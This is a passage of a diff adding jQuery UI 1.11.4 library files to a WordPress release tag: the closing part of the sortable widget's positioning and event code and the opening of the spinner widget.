+			isOverElementHeight = ( this.options.axis === "x" ) || ( ( y1 + dyClick ) > t && ( y1 + dyClick ) < b ),
+			isOverElementWidth = ( this.options.axis === "y" ) || ( ( x1 + dxClick ) > l && ( x1 + dxClick ) < r ),
+			isOverElement = isOverElementHeight && isOverElementWidth;
+
+		if ( this.options.tolerance === "pointer" ||
+			this.options.forcePointerForContainers ||
+			(this.options.tolerance !== "pointer" && this.helperProportions[this.floating ? "width" : "height"] > item[this.floating ? "width" : "height"])
+		) {
+			return isOverElement;
+		} else {
+
+			return (l < x1 + (this.helperProportions.width / 2) && // Right Half
+				x2 - (this.helperProportions.width / 2) < r && // Left Half
+				t < y1 + (this.helperProportions.height / 2) && // Bottom Half
+				y2 - (this.helperProportions.height / 2) < b ); // Top Half
+
+		}
+	},
+
+	_intersectsWithPointer: function(item) {
+
+		var isOverElementHeight = (this.options.axis === "x") || this._isOverAxis(this.positionAbs.top + this.offset.click.top, item.top, item.height),
+			isOverElementWidth = (this.options.axis === "y") || this._isOverAxis(this.positionAbs.left + this.offset.click.left, item.left, item.width),
+			isOverElement = isOverElementHeight && isOverElementWidth,
+			verticalDirection = this._getDragVerticalDirection(),
+			horizontalDirection = this._getDragHorizontalDirection();
+
+		if (!isOverElement) {
+			return false;
+		}
+
+		return this.floating ?
+			( ((horizontalDirection && horizontalDirection === "right") || verticalDirection === "down") ? 2 : 1 )
+			: ( verticalDirection && (verticalDirection === "down" ? 2 : 1) );
+
+	},
+
+	_intersectsWithSides: function(item) {
+
+		var isOverBottomHalf = this._isOverAxis(this.positionAbs.top + this.offset.click.top, item.top + (item.height/2), item.height),
+			isOverRightHalf = this._isOverAxis(this.positionAbs.left + this.offset.click.left, item.left + (item.width/2), item.width),
+			verticalDirection = this._getDragVerticalDirection(),
+			horizontalDirection = this._getDragHorizontalDirection();
+
+		if (this.floating && horizontalDirection) {
+			return ((horizontalDirection === "right" && isOverRightHalf) || (horizontalDirection === "left" && !isOverRightHalf));
+		} else {
+			return verticalDirection && ((verticalDirection === "down" && isOverBottomHalf) || (verticalDirection === "up" && !isOverBottomHalf));
+		}
+
+	},
+
+	_getDragVerticalDirection: function() {
+		var delta = this.positionAbs.top - this.lastPositionAbs.top;
+		return delta !== 0 && (delta > 0 ? "down" : "up");
+	},
+
+	_getDragHorizontalDirection: function() {
+		var delta = this.positionAbs.left - this.lastPositionAbs.left;
+		return delta !== 0 && (delta > 0 ? "right" : "left");
+	},
+
+	refresh: function(event) {
+		this._refreshItems(event);
+		this._setHandleClassName();
+		this.refreshPositions();
+		return this;
+	},
+
+	_connectWith: function() {
+		var options = this.options;
+		return options.connectWith.constructor === String ? [options.connectWith] : options.connectWith;
+	},
+
+	_getItemsAsjQuery: function(connected) {
+
+		var i, j, cur, inst,
+			items = [],
+			queries = [],
+			connectWith = this._connectWith();
+
+		if(connectWith && connected) {
+			for (i = connectWith.length - 1; i >= 0; i--){
+				cur = $(connectWith[i], this.document[0]);
+				for ( j = cur.length - 1; j >= 0; j--){
+					inst = $.data(cur[j], this.widgetFullName);
+					if(inst && inst !== this && !inst.options.disabled) {
+						queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element) : $(inst.options.items, inst.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), inst]);
+					}
+				}
+			}
+		}
+
+		queries.push([$.isFunction(this.options.items) ? this.options.items.call(this.element, null, { options: this.options, item: this.currentItem }) : $(this.options.items, this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"), this]);
+
+		function addItems() {
+			items.push( this );
+		}
+		for (i = queries.length - 1; i >= 0; i--){
+			queries[i][0].each( addItems );
+		}
+
+		return $(items);
+
+	},
+
+	_removeCurrentsFromItems: function() {
+
+		var list = this.currentItem.find(":data(" + this.widgetName + "-item)");
+
+		this.items = $.grep(this.items, function (item) {
+			for (var j=0; j < list.length; j++) {
+				if(list[j] === item.item[0]) {
+					return false;
+				}
+			}
+			return true;
+		});
+
+	},
+
+	_refreshItems: function(event) {
+
+		this.items = [];
+		this.containers = [this];
+
+		var i, j, cur, inst, targetData, _queries, item, queriesLength,
+			items = this.items,
+			queries = [[$.isFunction(this.options.items) ? this.options.items.call(this.element[0], event, { item: this.currentItem }) : $(this.options.items, this.element), this]],
+			connectWith = this._connectWith();
+
+		if(connectWith && this.ready) { //Shouldn't be run the first time through due to massive slow-down
+			for (i = connectWith.length - 1; i >= 0; i--){
+				cur = $(connectWith[i], this.document[0]);
+				for (j = cur.length - 1; j >= 0; j--){
+					inst = $.data(cur[j], this.widgetFullName);
+					if(inst && inst !== this && !inst.options.disabled) {
+						queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element[0], event, { item: this.currentItem }) : $(inst.options.items, inst.element), inst]);
+						this.containers.push(inst);
+					}
+				}
+			}
+		}
+
+		for (i = queries.length - 1; i >= 0; i--) {
+			targetData = queries[i][1];
+			_queries = queries[i][0];
+
+			for (j=0, queriesLength = _queries.length; j < queriesLength; j++) {
+				item = $(_queries[j]);
+
+				item.data(this.widgetName + "-item", targetData); // Data for target checking (mouse manager)
+
+				items.push({
+					item: item,
+					instance: targetData,
+					width: 0, height: 0,
+					left: 0, top: 0
+				});
+			}
+		}
+
+	},
+
+	refreshPositions: function(fast) {
+
+		// Determine whether items are being displayed horizontally
+		this.floating = this.items.length ?
+			this.options.axis === "x" || this._isFloating( this.items[ 0 ].item ) :
+			false;
+
+		//This has to be redone because due to the item being moved out/into the offsetParent, the offsetParent's position will change
+		if(this.offsetParent && this.helper) {
+			this.offset.parent = this._getParentOffset();
+		}
+
+		var i, item, t, p;
+
+		for (i = this.items.length - 1; i >= 0; i--){
+			item = this.items[i];
+
+			//We ignore calculating positions of all connected containers when we're not over them
+			if(item.instance !== this.currentContainer && this.currentContainer && item.item[0] !== this.currentItem[0]) {
+				continue;
+			}
+
+			t = this.options.toleranceElement ? $(this.options.toleranceElement, item.item) : item.item;
+
+			if (!fast) {
+				item.width = t.outerWidth();
+				item.height = t.outerHeight();
+			}
+
+			p = t.offset();
+			item.left = p.left;
+			item.top = p.top;
+		}
+
+		if(this.options.custom && this.options.custom.refreshContainers) {
+			this.options.custom.refreshContainers.call(this);
+		} else {
+			for (i = this.containers.length - 1; i >= 0; i--){
+				p = this.containers[i].element.offset();
+				this.containers[i].containerCache.left = p.left;
+				this.containers[i].containerCache.top = p.top;
+				this.containers[i].containerCache.width = this.containers[i].element.outerWidth();
+				this.containers[i].containerCache.height = this.containers[i].element.outerHeight();
+			}
+		}
+
+		return this;
+	},
+
+	_createPlaceholder: function(that) {
+		that = that || this;
+		var className,
+			o = that.options;
+
+		if(!o.placeholder || o.placeholder.constructor === String) {
+			className = o.placeholder;
+			o.placeholder = {
+				element: function() {
+
+					var nodeName = that.currentItem[0].nodeName.toLowerCase(),
+						element = $( "<" + nodeName + ">", that.document[0] )
+							.addClass(className || that.currentItem[0].className+" ui-sortable-placeholder")
+							.removeClass("ui-sortable-helper");
+
+					if ( nodeName === "tbody" ) {
+						that._createTrPlaceholder(
+							that.currentItem.find( "tr" ).eq( 0 ),
+							$( "<tr>", that.document[ 0 ] ).appendTo( element )
+						);
+					} else if ( nodeName === "tr" ) {
+						that._createTrPlaceholder( that.currentItem, element );
+					} else if ( nodeName === "img" ) {
+						element.attr( "src", that.currentItem.attr( "src" ) );
+					}
+
+					if ( !className ) {
+						element.css( "visibility", "hidden" );
+					}
+
+					return element;
+				},
+				update: function(container, p) {
+
+					// 1. If a className is set as 'placeholder option, we don't force sizes - the class is responsible for that
+					// 2. The option 'forcePlaceholderSize can be enabled to force it even if a class name is specified
+					if(className && !o.forcePlaceholderSize) {
+						return;
+					}
+
+					//If the element doesn't have a actual height by itself (without styles coming from a stylesheet), it receives the inline height from the dragged item
+					if(!p.height()) { p.height(that.currentItem.innerHeight() - parseInt(that.currentItem.css("paddingTop")||0, 10) - parseInt(that.currentItem.css("paddingBottom")||0, 10)); }
+					if(!p.width()) { p.width(that.currentItem.innerWidth() - parseInt(that.currentItem.css("paddingLeft")||0, 10) - parseInt(that.currentItem.css("paddingRight")||0, 10)); }
+				}
+			};
+		}
+
+		//Create the placeholder
+		that.placeholder = $(o.placeholder.element.call(that.element, that.currentItem));
+
+		//Append it after the actual current item
+		that.currentItem.after(that.placeholder);
+
+		//Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317)
+		o.placeholder.update(that, that.placeholder);
+
+	},
+
+	_createTrPlaceholder: function( sourceTr, targetTr ) {
+		var that = this;
+
+		sourceTr.children().each(function() {
+			$( "<td>&#160;</td>", that.document[ 0 ] )
+				.attr( "colspan", $( this ).attr( "colspan" ) || 1 )
+				.appendTo( targetTr );
+		});
+	},
+
+	_contactContainers: function(event) {
+		var i, j, dist, itemWithLeastDistance, posProperty, sizeProperty, cur, nearBottom, floating, axis,
+			innermostContainer = null,
+			innermostIndex = null;
+
+		// get innermost container that intersects with item
+		for (i = this.containers.length - 1; i >= 0; i--) {
+
+			// never consider a container that's located within the item itself
+			if($.contains(this.currentItem[0], this.containers[i].element[0])) {
+				continue;
+			}
+
+			if(this._intersectsWith(this.containers[i].containerCache)) {
+
+				// if we've already found a container and it's more "inner" than this, then continue
+				if(innermostContainer && $.contains(this.containers[i].element[0], innermostContainer.element[0])) {
+					continue;
+				}
+
+				innermostContainer = this.containers[i];
+				innermostIndex = i;
+
+			} else {
+				// container doesn't intersect. trigger "out" event if necessary
+				if(this.containers[i].containerCache.over) {
+					this.containers[i]._trigger("out", event, this._uiHash(this));
+					this.containers[i].containerCache.over = 0;
+				}
+			}
+
+		}
+
+		// if no intersecting containers found, return
+		if(!innermostContainer) {
+			return;
+		}
+
+		// move the item into the container if it's not there already
+		if(this.containers.length === 1) {
+			if (!this.containers[innermostIndex].containerCache.over) {
+				this.containers[innermostIndex]._trigger("over", event, this._uiHash(this));
+				this.containers[innermostIndex].containerCache.over = 1;
+			}
+		} else {
+
+			//When entering a new container, we will find the item with the least distance and append our item near it
+			dist = 10000;
+			itemWithLeastDistance = null;
+			floating = innermostContainer.floating || this._isFloating(this.currentItem);
+			posProperty = floating ? "left" : "top";
+			sizeProperty = floating ? "width" : "height";
+			axis = floating ? "clientX" : "clientY";
+
+			for (j = this.items.length - 1; j >= 0; j--) {
+				if(!$.contains(this.containers[innermostIndex].element[0], this.items[j].item[0])) {
+					continue;
+				}
+				if(this.items[j].item[0] === this.currentItem[0]) {
+					continue;
+				}
+
+				cur = this.items[j].item.offset()[posProperty];
+				nearBottom = false;
+				if ( event[ axis ] - cur > this.items[ j ][ sizeProperty ] / 2 ) {
+					nearBottom = true;
+				}
+
+				if ( Math.abs( event[ axis ] - cur ) < dist ) {
+					dist = Math.abs( event[ axis ] - cur );
+					itemWithLeastDistance = this.items[ j ];
+					this.direction = nearBottom ? "up": "down";
+				}
+			}
+
+			//Check if dropOnEmpty is enabled
+			if(!itemWithLeastDistance && !this.options.dropOnEmpty) {
+				return;
+			}
+
+			if(this.currentContainer === this.containers[innermostIndex]) {
+				if ( !this.currentContainer.containerCache.over ) {
+					this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash() );
+					this.currentContainer.containerCache.over = 1;
+				}
+				return;
+			}
+
+			itemWithLeastDistance ? this._rearrange(event, itemWithLeastDistance, null, true) : this._rearrange(event, null, this.containers[innermostIndex].element, true);
+			this._trigger("change", event, this._uiHash());
+			this.containers[innermostIndex]._trigger("change", event, this._uiHash(this));
+			this.currentContainer = this.containers[innermostIndex];
+
+			//Update the placeholder
+			this.options.placeholder.update(this.currentContainer, this.placeholder);
+
+			this.containers[innermostIndex]._trigger("over", event, this._uiHash(this));
+			this.containers[innermostIndex].containerCache.over = 1;
+		}
+
+
+	},
+
+	_createHelper: function(event) {
+
+		var o = this.options,
+			helper = $.isFunction(o.helper) ? $(o.helper.apply(this.element[0], [event, this.currentItem])) : (o.helper === "clone" ? this.currentItem.clone() : this.currentItem);
+
+		//Add the helper to the DOM if that didn't happen already
+		if(!helper.parents("body").length) {
+			$(o.appendTo !== "parent" ? o.appendTo : this.currentItem[0].parentNode)[0].appendChild(helper[0]);
+		}
+
+		if(helper[0] === this.currentItem[0]) {
+			this._storedCSS = { width: this.currentItem[0].style.width, height: this.currentItem[0].style.height, position: this.currentItem.css("position"), top: this.currentItem.css("top"), left: this.currentItem.css("left") };
+		}
+
+		if(!helper[0].style.width || o.forceHelperSize) {
+			helper.width(this.currentItem.width());
+		}
+		if(!helper[0].style.height || o.forceHelperSize) {
+			helper.height(this.currentItem.height());
+		}
+
+		return helper;
+
+	},
+
+	_adjustOffsetFromHelper: function(obj) {
+		if (typeof obj === "string") {
+			obj = obj.split(" ");
+		}
+		if ($.isArray(obj)) {
+			obj = {left: +obj[0], top: +obj[1] || 0};
+		}
+		if ("left" in obj) {
+			this.offset.click.left = obj.left + this.margins.left;
+		}
+		if ("right" in obj) {
+			this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
+		}
+		if ("top" in obj) {
+			this.offset.click.top = obj.top + this.margins.top;
+		}
+		if ("bottom" in obj) {
+			this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
+		}
+	},
+
+	_getParentOffset: function() {
+
+
+		//Get the offsetParent and cache its position
+		this.offsetParent = this.helper.offsetParent();
+		var po = this.offsetParent.offset();
+
+		// This is a special case where we need to modify a offset calculated on start, since the following happened:
+		// 1. The position of the helper is absolute, so it's position is calculated based on the next positioned parent
+		// 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't the document, which means that
+		//    the scroll is included in the initial calculation of the offset of the parent, and never recalculated upon drag
+		if(this.cssPosition === "absolute" && this.scrollParent[0] !== this.document[0] && $.contains(this.scrollParent[0], this.offsetParent[0])) {
+			po.left += this.scrollParent.scrollLeft();
+			po.top += this.scrollParent.scrollTop();
+		}
+
+		// This needs to be actually done for all browsers, since pageX/pageY includes this information
+		// with an ugly IE fix
+		if( this.offsetParent[0] === this.document[0].body || (this.offsetParent[0].tagName && this.offsetParent[0].tagName.toLowerCase() === "html" && $.ui.ie)) {
+			po = { top: 0, left: 0 };
+		}
+
+		return {
+			top: po.top + (parseInt(this.offsetParent.css("borderTopWidth"),10) || 0),
+			left: po.left + (parseInt(this.offsetParent.css("borderLeftWidth"),10) || 0)
+		};
+
+	},
+
+	_getRelativeOffset: function() {
+
+		if(this.cssPosition === "relative") {
+			var p = this.currentItem.position();
+			return {
+				top: p.top - (parseInt(this.helper.css("top"),10) || 0) + this.scrollParent.scrollTop(),
+				left: p.left - (parseInt(this.helper.css("left"),10) || 0) + this.scrollParent.scrollLeft()
+			};
+		} else {
+			return { top: 0, left: 0 };
+		}
+
+	},
+
+	_cacheMargins: function() {
+		this.margins = {
+			left: (parseInt(this.currentItem.css("marginLeft"),10) || 0),
+			top: (parseInt(this.currentItem.css("marginTop"),10) || 0)
+		};
+	},
+
+	_cacheHelperProportions: function() {
+		this.helperProportions = {
+			width: this.helper.outerWidth(),
+			height: this.helper.outerHeight()
+		};
+	},
+
+	_setContainment: function() {
+
+		var ce, co, over,
+			o = this.options;
+		if(o.containment === "parent") {
+			o.containment = this.helper[0].parentNode;
+		}
+		if(o.containment === "document" || o.containment === "window") {
+			this.containment = [
+				0 - this.offset.relative.left - this.offset.parent.left,
+				0 - this.offset.relative.top - this.offset.parent.top,
+				o.containment === "document" ? this.document.width() : this.window.width() - this.helperProportions.width - this.margins.left,
+				(o.containment === "document" ? this.document.width() : this.window.height() || this.document[0].body.parentNode.scrollHeight) - this.helperProportions.height - this.margins.top
+			];
+		}
+
+		if(!(/^(document|window|parent)$/).test(o.containment)) {
+			ce = $(o.containment)[0];
+			co = $(o.containment).offset();
+			over = ($(ce).css("overflow") !== "hidden");
+
+			this.containment = [
+				co.left + (parseInt($(ce).css("borderLeftWidth"),10) || 0) + (parseInt($(ce).css("paddingLeft"),10) || 0) - this.margins.left,
+				co.top + (parseInt($(ce).css("borderTopWidth"),10) || 0) + (parseInt($(ce).css("paddingTop"),10) || 0) - this.margins.top,
+				co.left+(over ? Math.max(ce.scrollWidth,ce.offsetWidth) : ce.offsetWidth) - (parseInt($(ce).css("borderLeftWidth"),10) || 0) - (parseInt($(ce).css("paddingRight"),10) || 0) - this.helperProportions.width - this.margins.left,
+				co.top+(over ? Math.max(ce.scrollHeight,ce.offsetHeight) : ce.offsetHeight) - (parseInt($(ce).css("borderTopWidth"),10) || 0) - (parseInt($(ce).css("paddingBottom"),10) || 0) - this.helperProportions.height - this.margins.top
+			];
+		}
+
+	},
+
+	_convertPositionTo: function(d, pos) {
+
+		if(!pos) {
+			pos = this.position;
+		}
+		var mod = d === "absolute" ? 1 : -1,
+			scroll = this.cssPosition === "absolute" && !(this.scrollParent[0] !== this.document[0] && $.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent,
+			scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
+
+		return {
+			top: (
+				pos.top	+																// The absolute mouse position
+				this.offset.relative.top * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top * mod -											// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod)
+			),
+			left: (
+				pos.left +																// The absolute mouse position
+				this.offset.relative.left * mod +										// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left * mod	-										// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ) * mod)
+			)
+		};
+
+	},
+
+	_generatePosition: function(event) {
+
+		var top, left,
+			o = this.options,
+			pageX = event.pageX,
+			pageY = event.pageY,
+			scroll = this.cssPosition === "absolute" && !(this.scrollParent[0] !== this.document[0] && $.contains(this.scrollParent[0], this.offsetParent[0])) ? this.offsetParent : this.scrollParent, scrollIsRootNode = (/(html|body)/i).test(scroll[0].tagName);
+
+		// This is another very weird special case that only happens for relative elements:
+		// 1. If the css position is relative
+		// 2. and the scroll parent is the document or similar to the offset parent
+		// we have to refresh the relative offset during the scroll so there are no jumps
+		if(this.cssPosition === "relative" && !(this.scrollParent[0] !== this.document[0] && this.scrollParent[0] !== this.offsetParent[0])) {
+			this.offset.relative = this._getRelativeOffset();
+		}
+
+		/*
+		 * - Position constraining -
+		 * Constrain the position to a mix of grid, containment.
+		 */
+
+		if(this.originalPosition) { //If we are not dragging yet, we won't check for options
+
+			if(this.containment) {
+				if(event.pageX - this.offset.click.left < this.containment[0]) {
+					pageX = this.containment[0] + this.offset.click.left;
+				}
+				if(event.pageY - this.offset.click.top < this.containment[1]) {
+					pageY = this.containment[1] + this.offset.click.top;
+				}
+				if(event.pageX - this.offset.click.left > this.containment[2]) {
+					pageX = this.containment[2] + this.offset.click.left;
+				}
+				if(event.pageY - this.offset.click.top > this.containment[3]) {
+					pageY = this.containment[3] + this.offset.click.top;
+				}
+			}
+
+			if(o.grid) {
+				top = this.originalPageY + Math.round((pageY - this.originalPageY) / o.grid[1]) * o.grid[1];
+				pageY = this.containment ? ( (top - this.offset.click.top >= this.containment[1] && top - this.offset.click.top <= this.containment[3]) ? top : ((top - this.offset.click.top >= this.containment[1]) ? top - o.grid[1] : top + o.grid[1])) : top;
+
+				left = this.originalPageX + Math.round((pageX - this.originalPageX) / o.grid[0]) * o.grid[0];
+				pageX = this.containment ? ( (left - this.offset.click.left >= this.containment[0] && left - this.offset.click.left <= this.containment[2]) ? left : ((left - this.offset.click.left >= this.containment[0]) ? left - o.grid[0] : left + o.grid[0])) : left;
+			}
+
+		}
+
+		return {
+			top: (
+				pageY -																// The absolute mouse position
+				this.offset.click.top -													// Click offset (relative to the element)
+				this.offset.relative.top	-											// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.top +												// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollTop() : ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ))
+			),
+			left: (
+				pageX -																// The absolute mouse position
+				this.offset.click.left -												// Click offset (relative to the element)
+				this.offset.relative.left	-											// Only for relative positioned nodes: Relative offset from element to offset parent
+				this.offset.parent.left +												// The offsetParent's offset without borders (offset + border)
+				( ( this.cssPosition === "fixed" ? -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 : scroll.scrollLeft() ))
+			)
+		};
+
+	},
+
+	_rearrange: function(event, i, a, hardRefresh) {
+
+		a ? a[0].appendChild(this.placeholder[0]) : i.item[0].parentNode.insertBefore(this.placeholder[0], (this.direction === "down" ? i.item[0] : i.item[0].nextSibling));
+
+		//Various things done here to improve the performance:
+		// 1. we create a setTimeout, that calls refreshPositions
+		// 2. on the instance, we have a counter variable, that get's higher after every append
+		// 3. on the local scope, we copy the counter variable, and check in the timeout, if it's still the same
+		// 4. this lets only the last addition to the timeout stack through
+		this.counter = this.counter ? ++this.counter : 1;
+		var counter = this.counter;
+
+		this._delay(function() {
+			if(counter === this.counter) {
+				this.refreshPositions(!hardRefresh); //Precompute after each DOM insertion, NOT on mousemove
+			}
+		});
+
+	},
+
+	_clear: function(event, noPropagation) {
+
+		this.reverting = false;
+		// We delay all events that have to be triggered to after the point where the placeholder has been removed and
+		// everything else normalized again
+		var i,
+			delayedTriggers = [];
+
+		// We first have to update the dom position of the actual currentItem
+		// Note: don't do it if the current item is already removed (by a user), or it gets reappended (see #4088)
+		if(!this._noFinalSort && this.currentItem.parent().length) {
+			this.placeholder.before(this.currentItem);
+		}
+		this._noFinalSort = null;
+
+		if(this.helper[0] === this.currentItem[0]) {
+			for(i in this._storedCSS) {
+				if(this._storedCSS[i] === "auto" || this._storedCSS[i] === "static") {
+					this._storedCSS[i] = "";
+				}
+			}
+			this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");
+		} else {
+			this.currentItem.show();
+		}
+
+		if(this.fromOutside && !noPropagation) {
+			delayedTriggers.push(function(event) { this._trigger("receive", event, this._uiHash(this.fromOutside)); });
+		}
+		if((this.fromOutside || this.domPosition.prev !== this.currentItem.prev().not(".ui-sortable-helper")[0] || this.domPosition.parent !== this.currentItem.parent()[0]) && !noPropagation) {
+			delayedTriggers.push(function(event) { this._trigger("update", event, this._uiHash()); }); //Trigger update callback if the DOM position has changed
+		}
+
+		// Check if the items Container has Changed and trigger appropriate
+		// events.
+		if (this !== this.currentContainer) {
+			if(!noPropagation) {
+				delayedTriggers.push(function(event) { this._trigger("remove", event, this._uiHash()); });
+				delayedTriggers.push((function(c) { return function(event) { c._trigger("receive", event, this._uiHash(this)); };  }).call(this, this.currentContainer));
+				delayedTriggers.push((function(c) { return function(event) { c._trigger("update", event, this._uiHash(this));  }; }).call(this, this.currentContainer));
+			}
+		}
+
+
+		//Post events to containers
+		function delayEvent( type, instance, container ) {
+			return function( event ) {
+				container._trigger( type, event, instance._uiHash( instance ) );
+			};
+		}
+		for (i = this.containers.length - 1; i >= 0; i--){
+			if (!noPropagation) {
+				delayedTriggers.push( delayEvent( "deactivate", this, this.containers[ i ] ) );
+			}
+			if(this.containers[i].containerCache.over) {
+				delayedTriggers.push( delayEvent( "out", this, this.containers[ i ] ) );
+				this.containers[i].containerCache.over = 0;
+			}
+		}
+
+		//Do what was originally in plugins
+		if ( this.storedCursor ) {
+			this.document.find( "body" ).css( "cursor", this.storedCursor );
+			this.storedStylesheet.remove();
+		}
+		if(this._storedOpacity) {
+			this.helper.css("opacity", this._storedOpacity);
+		}
+		if(this._storedZIndex) {
+			this.helper.css("zIndex", this._storedZIndex === "auto" ? "" : this._storedZIndex);
+		}
+
+		this.dragging = false;
+
+		if(!noPropagation) {
+			this._trigger("beforeStop", event, this._uiHash());
+		}
+
+		//$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, it unbinds ALL events from the original node!
+		this.placeholder[0].parentNode.removeChild(this.placeholder[0]);
+
+		if ( !this.cancelHelperRemoval ) {
+			if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) {
+				this.helper.remove();
+			}
+			this.helper = null;
+		}
+
+		if(!noPropagation) {
+			for (i=0; i < delayedTriggers.length; i++) {
+				delayedTriggers[i].call(this, event);
+			} //Trigger all delayed events
+			this._trigger("stop", event, this._uiHash());
+		}
+
+		this.fromOutside = false;
+		return !this.cancelHelperRemoval;
+
+	},
+
+	_trigger: function() {
+		if ($.Widget.prototype._trigger.apply(this, arguments) === false) {
+			this.cancel();
+		}
+	},
+
+	_uiHash: function(_inst) {
+		var inst = _inst || this;
+		return {
+			helper: inst.helper,
+			placeholder: inst.placeholder || $([]),
+			position: inst.position,
+			originalPosition: inst.originalPosition,
+			offset: inst.positionAbs,
+			item: inst.currentItem,
+			sender: _inst ? _inst.element : null
+		};
+	}
+
+});
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/spinner.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/spinner.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/spinner.js	(revision 56912)
@@ -0,0 +1,514 @@
+/*!
+ * jQuery UI Spinner 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/spinner/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./button"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+function spinner_modifier( fn ) {
+	return function() {
+		var previous = this.element.val();
+		fn.apply( this, arguments );
+		this._refresh();
+		if ( previous !== this.element.val() ) {
+			this._trigger( "change" );
+		}
+	};
+}
+
+return $.widget( "ui.spinner", {
+	version: "1.11.4",
+	defaultElement: "<input>",
+	widgetEventPrefix: "spin",
+	options: {
+		culture: null,
+		icons: {
+			down: "ui-icon-triangle-1-s",
+			up: "ui-icon-triangle-1-n"
+		},
+		incremental: true,
+		max: null,
+		min: null,
+		numberFormat: null,
+		page: 10,
+		step: 1,
+
+		change: null,
+		spin: null,
+		start: null,
+		stop: null
+	},
+
+	_create: function() {
+		// handle string values that need to be parsed
+		this._setOption( "max", this.options.max );
+		this._setOption( "min", this.options.min );
+		this._setOption( "step", this.options.step );
+
+		// Only format if there is a value, prevents the field from being marked
+		// as invalid in Firefox, see #9573.
+		if ( this.value() !== "" ) {
+			// Format the value, but don't constrain.
+			this._value( this.element.val(), true );
+		}
+
+		this._draw();
+		this._on( this._events );
+		this._refresh();
+
+		// turning off autocomplete prevents the browser from remembering the
+		// value when navigating through history, so we re-enable autocomplete
+		// if the page is unloaded before the widget is destroyed. #7790
+		this._on( this.window, {
+			beforeunload: function() {
+				this.element.removeAttr( "autocomplete" );
+			}
+		});
+	},
+
+	_getCreateOptions: function() {
+		var options = {},
+			element = this.element;
+
+		$.each( [ "min", "max", "step" ], function( i, option ) {
+			var value = element.attr( option );
+			if ( value !== undefined && value.length ) {
+				options[ option ] = value;
+			}
+		});
+
+		return options;
+	},
+
+	_events: {
+		keydown: function( event ) {
+			if ( this._start( event ) && this._keydown( event ) ) {
+				event.preventDefault();
+			}
+		},
+		keyup: "_stop",
+		focus: function() {
+			this.previous = this.element.val();
+		},
+		blur: function( event ) {
+			if ( this.cancelBlur ) {
+				delete this.cancelBlur;
+				return;
+			}
+
+			this._stop();
+			this._refresh();
+			if ( this.previous !== this.element.val() ) {
+				this._trigger( "change", event );
+			}
+		},
+		mousewheel: function( event, delta ) {
+			if ( !delta ) {
+				return;
+			}
+			if ( !this.spinning && !this._start( event ) ) {
+				return false;
+			}
+
+			this._spin( (delta > 0 ? 1 : -1) * this.options.step, event );
+			clearTimeout( this.mousewheelTimer );
+			this.mousewheelTimer = this._delay(function() {
+				if ( this.spinning ) {
+					this._stop( event );
+				}
+			}, 100 );
+			event.preventDefault();
+		},
+		"mousedown .ui-spinner-button": function( event ) {
+			var previous;
+
+			// We never want the buttons to have focus; whenever the user is
+			// interacting with the spinner, the focus should be on the input.
+			// If the input is focused then this.previous is properly set from
+			// when the input first received focus. If the input is not focused
+			// then we need to set this.previous based on the value before spinning.
+			previous = this.element[0] === this.document[0].activeElement ?
+				this.previous : this.element.val();
+			function checkFocus() {
+				var isActive = this.element[0] === this.document[0].activeElement;
+				if ( !isActive ) {
+					this.element.focus();
+					this.previous = previous;
+					// support: IE
+					// IE sets focus asynchronously, so we need to check if focus
+					// moved off of the input because the user clicked on the button.
+					this._delay(function() {
+						this.previous = previous;
+					});
+				}
+			}
+
+			// ensure focus is on (or stays on) the text field
+			event.preventDefault();
+			checkFocus.call( this );
+
+			// support: IE
+			// IE doesn't prevent moving focus even with event.preventDefault()
+			// so we set a flag to know when we should ignore the blur event
+			// and check (again) if focus moved off of the input.
+			this.cancelBlur = true;
+			this._delay(function() {
+				delete this.cancelBlur;
+				checkFocus.call( this );
+			});
+
+			if ( this._start( event ) === false ) {
+				return;
+			}
+
+			this._repeat( null, $( event.currentTarget ).hasClass( "ui-spinner-up" ) ? 1 : -1, event );
+		},
+		"mouseup .ui-spinner-button": "_stop",
+		"mouseenter .ui-spinner-button": function( event ) {
+			// button will add ui-state-active if mouse was down while mouseleave and kept down
+			if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) {
+				return;
+			}
+
+			if ( this._start( event ) === false ) {
+				return false;
+			}
+			this._repeat( null, $( event.currentTarget ).hasClass( "ui-spinner-up" ) ? 1 : -1, event );
+		},
+		// TODO: do we really want to consider this a stop?
+		// shouldn't we just stop the repeater and wait until mouseup before
+		// we trigger the stop event?
+		"mouseleave .ui-spinner-button": "_stop"
+	},
+
